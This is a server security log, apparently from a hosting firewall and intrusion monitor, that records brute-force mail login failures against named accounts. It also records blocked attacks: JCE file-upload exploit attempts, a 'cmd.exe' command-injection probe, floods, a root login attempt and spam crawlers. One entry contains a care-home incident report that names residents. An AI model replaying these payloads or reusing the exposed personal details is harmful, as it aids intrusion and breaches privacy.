2026-07-13 14:05:19 dovecot_login authenticator failed for H=(mail.agilemobility360.com) [82.39.35.211]:55618: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.107.172
country_id: 1668284
description:
2026-07-13 14:05:23 dovecot_login authenticator failed for H=110-25-107-172.adsl.fetnet.net ([213.39.31.14]) [110.25.107.172]:45402: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.56.34.147
country_id: 6252001
description:
2026-07-13 14:08:36 dovecot_login authenticator failed for H=([111.36.36.125]) [136.56.34.147]:37656: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 212.32.76.15
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:vjzmpj.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350306
name: IM360 WAF: Access to suspicious double extension endpoint
abuser: 212.32.76.15
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Access to suspicious double extension endpoint||MV:/tmp/vjzmpj.xml.php||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77211200
name: IM360 WAF: System Command Access
abuser: 212.32.76.15
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: System Command Access||MVN:ARGS:cmd||MV:cmd.exe /c echo cdjgxdmwpjbhvwef 2>&1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.43.243.158
country_id: 6252001
description:
2026-07-13 14:12:32 dovecot_login authenticator failed for H=67-43-243-158.fidnet.com (39.85.165.220.broad.yx.yn.dynamic.163data.com.cn) [67.43.243.158]:52754: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.36
country_id: 1733045
description:
2026-07-13 14:13:10 dovecot_login authenticator failed for H=(47-145-62-32.fdr01.sncy.ca.ip.frontiernet.net) [49.124.152.36]:59288: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.96.233.67
country_id: 6251999
description:
2026-07-13 14:13:21 dovecot_login authenticator failed for H=208-96-233-67.resi.cgocable.ca ([125.130.102.172]) [208.96.233.67]:53892: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 51.161.86.195
country_id: 6251999
domain: metrodigitals.com
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/cgi-sys/ea-php82/index.php?add-to-cart=1529&post_type=product||QS:add-to-cart=1529&post_type=product||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.43.123
country_id: 6252001
description:
2026-07-13 14:16:45 dovecot_plain authenticator failed for H=c-71-229-43-123.hsd1.ga.comcast.net (ciose) [71.229.43.123]:34976: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 51.161.86.195
country_id: 6251999
domain: metrodigitals.com
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/cgi-sys/ea-php82/index.php?add-to-cart=1550&post_type=product||QS:add-to-cart=1550&post_type=product||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.195.53.129
country_id: 6252001
description:
2026-07-13 14:21:10 dovecot_login authenticator failed for H=(5-100-120-147.ipoe.vladlink.net) [74.195.53.129]:44004: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77350306
name: IM360 WAF: Access to suspicious double extension endpoint
abuser: 212.32.76.15
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Access to suspicious double extension endpoint||MV:/tmp/rkqx7f.xml.php||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77211200
name: IM360 WAF: System Command Access
abuser: 212.32.76.15
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: System Command Access||MVN:ARGS:cmd||MV:cmd.exe /c echo yhpknfnsd9ewx2ov 2>&1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 212.32.76.15
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:rkqx7f.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.1.75
country_id: 1668284
description:
2026-07-13 14:21:29 dovecot_login authenticator failed for H=([118.26.153.102]) [101.13.1.75]:52844: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.203.17.220
country_id: 6252001
description:
2026-07-13 14:25:06 dovecot_login authenticator failed for H=c-73-203-17-220.hsd1.co.comcast.net ([222.108.109.37]) [73.203.17.220]:38558: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.114.190
country_id: 1269750
description:
2026-07-13 14:24:52 dovecot_login authenticator failed for H=(atlanta-1.cdn77.com) [27.123.114.190]:57312: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-13 14:27:48 dovecot_login authenticator failed for H=([93.191.115.52]) [117.211.15.93]:54886: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.104.127.49
country_id: 1269750
description:
2026-07-13 14:27:58 dovecot_login authenticator failed for H=([218.159.144.187]) [103.104.127.49]:4082: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.152
country_id: 1835841
description:
2026-07-13 14:28:20 dovecot_login authenticator failed for H=(ip-68-71-245-203.hosts.zerolag.com) [183.104.220.152]:54350: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.252.93.114
country_id: 1269750
description:
2026-07-13 14:28:46 dovecot_login authenticator failed for H=([174.75.211.203]) [117.252.93.114]:57026: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.142.194
country_id: 1269750
description:
2026-07-13 14:29:45 dovecot_login authenticator failed for H=(74-209-100-246.truvista.net) [122.160.142.194]:35830: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-13 14:31:46 dovecot_login authenticator failed for H=([192.252.208.66]) [59.145.160.134]:45358: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.42.216
country_id: 6252001
description:
2026-07-13 14:31:58 dovecot_login authenticator failed for H=([218.146.255.221]) [71.12.42.216]:56758: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.28.5
country_id: 2963597
description:
2026-07-13 14:33:01 dovecot_login authenticator failed for H=([125.130.102.172]) [207.254.28.5]:54374: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.115.178.196
country_id: 6252001
description:
2026-07-13 14:33:12 dovecot_login authenticator failed for H=ool-4573b2c4.dyn.optonline.net ([206.220.175.5]) [69.115.178.196]:35685: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-07-13 14:35:28 dovecot_login authenticator failed for H=([31.192.199.234]) [103.55.89.5]:46120: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-07-13 14:35:41 dovecot_login authenticator failed for H=(static.ill.103.225.15.98.bsnl.co.in) [207.188.158.216]:39854: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.187.136.21
country_id: 3996063
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/category/business/index.html HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-13 14:37:28 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.157.226.42
country_id: 6252001
description:
2026-07-13 14:40:30 dovecot_login authenticator failed for H=(broadband.actcorp.in) [98.157.226.42]:52661: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.176.109.31
country_id: 1835841
description:
2026-07-13 14:41:07 dovecot_login authenticator failed for H=([36.144.72.180]) [121.176.109.31]:34208: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.228.229.182
country_id: 2661886
description:
2026-07-13 14:47:34 dovecot_login authenticator failed for H=90-228-229-182-no600.tbcn.telia.com ([85.35.177.182]) [90.228.229.182]:40808: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.237.191
country_id: 99237
description:
2026-07-13 14:47:56 dovecot_login authenticator failed for H=([128.185.253.122]) [65.20.237.191]:38937: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.87.2
country_id: 1269750
description:
2026-07-13 14:48:41 dovecot_login authenticator failed for H=([192.252.214.22]) [182.78.87.2]:50298: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.70.157.25
country_id: 6252001
description:
2026-07-13 14:50:31 dovecot_login authenticator failed for H=([68.71.254.3]) [152.70.157.25]:36306: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.240.123
country_id: 2542007
description:
2026-07-13 14:50:47 dovecot_login authenticator failed for H=([61.37.150.35]) [154.146.240.123]:47614: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.133.97.153
country_id: 6252001
description:
2026-07-13 14:52:59 dovecot_login authenticator failed for H=c-76-133-97-153.hsd1.ca.comcast.net ([196.28.226.125]) [76.133.97.153]:53217: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.189.92
country_id: 1835841
description:
2026-07-13 14:53:18 dovecot_login authenticator failed for H=(212-135-208-13.cyberverse.fun) [124.153.189.92]:38336: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.187.86
country_id: 1269750
description:
2026-07-13 15:00:29 dovecot_login authenticator failed for H=(distribution05-10gb.1560.la3.switches.zerolag.com) [182.95.187.86]:48810: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-07-13 15:01:17 dovecot_login authenticator failed for H=([111.42.132.19]) [122.185.146.166]:34960: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-13 15:02:51 dovecot_login authenticator failed for H=([106.246.89.69]) [197.219.228.242]:56112: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77211080
name: IM360 WAF: HTTP Response Splitting Attack
abuser: 110.174.114.45
country_id: 2077456
domain: www.futuracare.com.au
description:
IM360 WAF: HTTP Response Splitting Attack||MV:date of incident:13/07/2026\r\ntime of incident:1820hrs\r\nlocation:lounge room\r\n\r\nparticipants involved:\r\nparticipant 1: evan  \r\nparticipant 2:gio\r\n\r\nwhile i was supporting participants to complete house cleaning, i was informed that evan had poked gio in the eye. this occurred when evan became upset over gio holding evan's kiwi box and cards fell down from evans hand\r\n\r\nstaff responded immediately. the situation was assessed and evan was quickly redirected to a safe area and staff tried to de escalate the situation.\r\n\r\ngio\xe2\x80\x99s eye was assessed. the eye appeared to have minor redishness . gio was reassured, comforted, and monitored closely for any signs of pain, discomfort, swelling, or changes to vision.\r\n\r\nno first aid was required. gio remained calm and continued to be monitored.\r\n\r\nactions taken:\r\n1. immediate assessment of both evan and gio\r\n2. evan was redirected and provided support to regulate when upset\r\n3. gio\xe2\x80\x99s eye was checked, reassured, and placed under close observation\r\n4. house cleaning activity was continued with increased supervision\r\n6. incident documented  \r\n\r\nfollow up required:\r\n- continue to monitor gio\xe2\x80\x99s eye for redness, swelling, pain, or vision changes.||MVN:ARGS:form10incident-description||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-13 15:10:16 dovecot_login authenticator failed for H=([119.152.102.54]) [182.95.229.110]:54028: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.148.60
country_id: 2661886
description:
2026-07-13 15:14:09 dovecot_login authenticator failed for H=82-209-148-60.cust.bredband2.com ([177.135.124.145]) [82.209.148.60]:56518: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.101.138.172
country_id: 597427
description:
2026-07-13 15:14:25 dovecot_login authenticator failed for H=static-213-101-138-172.cust.tele2.lt ([24.45.137.84]) [213.101.138.172]:38210: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.187.155.130
country_id: 6252001
description:
2026-07-13 15:19:04 dovecot_login authenticator failed for H=([49.124.149.213]) [50.187.155.130]:46167: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.95.241.150
country_id: 1522867
description:
2026-07-13 15:19:40 dovecot_login authenticator failed for H=([67.201.59.67]) [93.95.241.150]:46912: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.108.109
country_id: 1269750
description:
2026-07-13 15:19:55 dovecot_login authenticator failed for H=(37-128-240-47.dynamic.customer.lanta-me.ru) [183.82.108.109]:39260: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.119.184.40
country_id: 1210997
description:
2026-07-13 15:24:00 dovecot_login authenticator failed for H=([49.124.149.53]) [157.119.184.40]:60568: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.146.195
country_id: 934841
description:
2026-07-13 15:27:27 dovecot_login authenticator failed for H=([24.119.52.56]) [41.215.146.195]:49834: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.80.157.142
country_id: 1835841
description:
2026-07-13 15:27:32 dovecot_login authenticator failed for H=([222.186.68.153]) [61.80.157.142]:45788: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.189.103.212
country_id: 1835841
description:
2026-07-13 15:27:57 dovecot_login authenticator failed for H=([184.151.85.100]) [121.189.103.212]:35622: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-07-13 15:49:04 dovecot_login authenticator failed for H=([24.97.253.246]) [110.227.211.82]:48652: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.135.138.242
country_id: 3077311
description:
2026-07-13 15:49:05 dovecot_login authenticator failed for H=cst-prg-138-242.cust.vodafone.cz (atlanta-1.cdn77.com) [46.135.138.242]:37685: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.198.246
country_id: 660013
description:
2026-07-13 15:48:22 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc6-246.dhcp.inet.fi ([98.181.137.69]) [80.223.198.246]:49326: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-07-13 15:48:45 dovecot_login authenticator failed for H=([50.188.204.213]) [64.72.74.162]:36255: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.114.8
country_id: 1668284
description:
2026-07-13 15:50:43 dovecot_login authenticator failed for H=110-25-114-8.adsl.fetnet.net ([212.251.0.147]) [110.25.114.8]:59529: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.136.126.131
country_id: 1643084
description:
2026-07-13 15:50:58 dovecot_login authenticator failed for H=([192.252.216.83]) [110.136.126.131]:54978: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77469916
abuser: 185.213.83.194
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-2efdc527.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.210.188.157
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://business.am-news.com/am-news/markets/article/abnewswire-2026-4-14-paver-cleaning-services-in-bayshore-provided-by-paver-cleaning-and-sealing-pros-of-bay-shore-for-local-residents-focused-on-long-term-solution/\">Paver cleaning near me</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-13 15:55:13 dovecot_login authenticator failed for H=([211.49.49.137]) [188.122.37.97]:47662: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.29.22
country_id: 2963597
description:
2026-07-13 15:55:44 dovecot_login authenticator failed for H=([142.54.235.12]) [207.254.29.22]:55749: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.109.136
country_id: 660013
description:
2026-07-13 15:56:31 dovecot_login authenticator failed for H=([211.246.160.21]) [45.82.109.136]:51882: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.147.139.244
country_id: 1831722
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:32688.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4b4555bd7e527afeeed06170a1657b09de552145||Title:0xdcd1c992||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 49.44.78.168
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.118.126
country_id: 1269750
description:
2026-07-13 16:11:20 dovecot_login authenticator failed for H=(ps-217-8-226-227.ps.sib.mts.ru) [122.184.118.126]:50466: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 193.160.32.97
country_id: 6252001
domain: 220-mail.ibmcglobal.com
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:root||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 152.39.242.115
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 Crypto Mining Equipment at Unbeatable Prices (<a href=\"https://www.bydfi.com/en/questions/how-does-bullminers-eu-compare-to-other-cryptocurrency-mining-platforms\">https://www.bydfi.com/en/questions/how-does-bullminers-eu-compare-to-other-cryptocurrency-mining-platforms</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.220
country_id: 1269750
description:
2026-07-13 16:17:03 dovecot_login authenticator failed for H=([112.109.198.106]) [122.187.229.220]:46987: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-13 16:17:28 dovecot_login authenticator failed for H=([182.95.109.138]) [172.191.74.151]:55248: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.73
country_id: 1269750
description:
2026-07-13 16:22:55 dovecot_login authenticator failed for H=([184.170.249.69]) [122.187.230.73]:53686: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.68.214.34
country_id: 6252001
description:
2026-07-13 16:25:36 dovecot_login authenticator failed for H=([113.193.187.154]) [13.68.214.34]:39532: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.86
country_id: 1036973
description:
2026-07-13 16:40:14 dovecot_login authenticator failed for H=(221-120-78-177.emome-ip.hinet.net) [197.219.210.86]:60678: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.162.9.13
country_id: 1835841
description:
2026-07-13 16:39:33 dovecot_login authenticator failed for H=([197.156.121.38]) [221.162.9.13]:59245: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.42.47.150
country_id: 1835841
description:
2026-07-13 16:39:39 dovecot_login authenticator failed for H=([174.64.199.77]) [14.42.47.150]:23023: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.69.161.214
country_id: 6252001
description:
2026-07-13 16:39:45 dovecot_login authenticator failed for H=([118.70.146.125]) [208.69.161.214]:39689: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-13 16:40:44 dovecot_login authenticator failed for H=([27.24.141.112]) [125.130.102.172]:60262: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.19.91
country_id: 1269750
description:
2026-07-13 16:42:19 dovecot_login authenticator failed for H=([91.237.183.81]) [117.250.19.91]:45424: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.138.3
country_id: 99237
description:
2026-07-13 16:42:30 dovecot_login authenticator failed for H=([101.13.5.30]) [65.20.138.3]:48330: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.86
country_id: 1036973
description:
2026-07-13 16:44:39 dovecot_login authenticator failed for H=([46.210.94.61]) [197.219.210.86]:45282: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-13 16:44:56 dovecot_login authenticator failed for H=([41.224.62.206]) [94.16.17.140]:48876: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77469916
abuser: 104.28.211.189
country_id: 3017382
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:up-bw28t.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.245.246.26
country_id: 1835841
description:
2026-07-13 16:49:29 dovecot_login authenticator failed for H=([182.95.26.40]) [106.245.246.26]:59378: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.155.20.197
country_id: 1168579
domain: travelinbh.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:69080.travelinbh.com||ServerName:travelinbh.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8127f6a5092103e06d0ebbaaf07d6e0745da40ee||Title:0xd815f5fb||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.147
country_id: 1733045
description:
2026-07-13 16:52:39 dovecot_login authenticator failed for H=([186.239.41.74]) [49.124.152.147]:52400: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.155.225.93
country_id: 878675
description:
2026-07-13 16:53:01 dovecot_login authenticator failed for H=([184.185.2.1]) [197.155.225.93]:35014: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-07-13 16:54:04 dovecot_login authenticator failed for H=(p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp) [200.106.49.149]:32850: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-07-13 16:54:11 dovecot_login authenticator failed for H=([192.111.138.28]) [207.188.158.216]:43347: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.49.97.15
country_id: 6252001
description:
2026-07-13 16:54:24 dovecot_login authenticator failed for H=(201.221.116.88.cidadei.com.br) [64.49.97.15]:50202: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.97.17.208
country_id: 1835841
description:
2026-07-13 16:58:26 dovecot_login authenticator failed for H=(65-73-230-99.d1dd231b1e9e11c70abaf8fabd83036a.ip.frontiernet.net) [61.97.17.208]:34997: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-13 16:58:32 dovecot_login authenticator failed for H=([182.73.164.228]) [117.211.15.93]:37950: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 191.101.106.254
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 najlepsze kasyna online 2026 - <a href=\"http://b-i-b.upakovano.ru/bitrix/rk.php?goto=http://123daa.net/?attachment_id=125\">http://b-i-b.upakovano.ru/bitrix/rk.php?goto=http://123daa.net/?attachment_id=125</a>, (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.143.225.75
country_id: 1835841
description:
2026-07-13 17:01:17 dovecot_login authenticator failed for H=([178.178.222.50]) [125.143.225.75]:38906: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.53
country_id: 1668284
description:
2026-07-13 17:01:29 dovecot_login authenticator failed for H=111-70-38-53.emome-ip.hinet.net ([59.3.212.111]) [111.70.38.53]:51331: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.174
country_id: 1269750
description:
2026-07-13 17:08:00 dovecot_login authenticator failed for H=(201-200-93-6.mad-05-p64.cantv.net.93.208.201.in-addr.arpa) [182.95.178.174]:47146: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.211.208.125
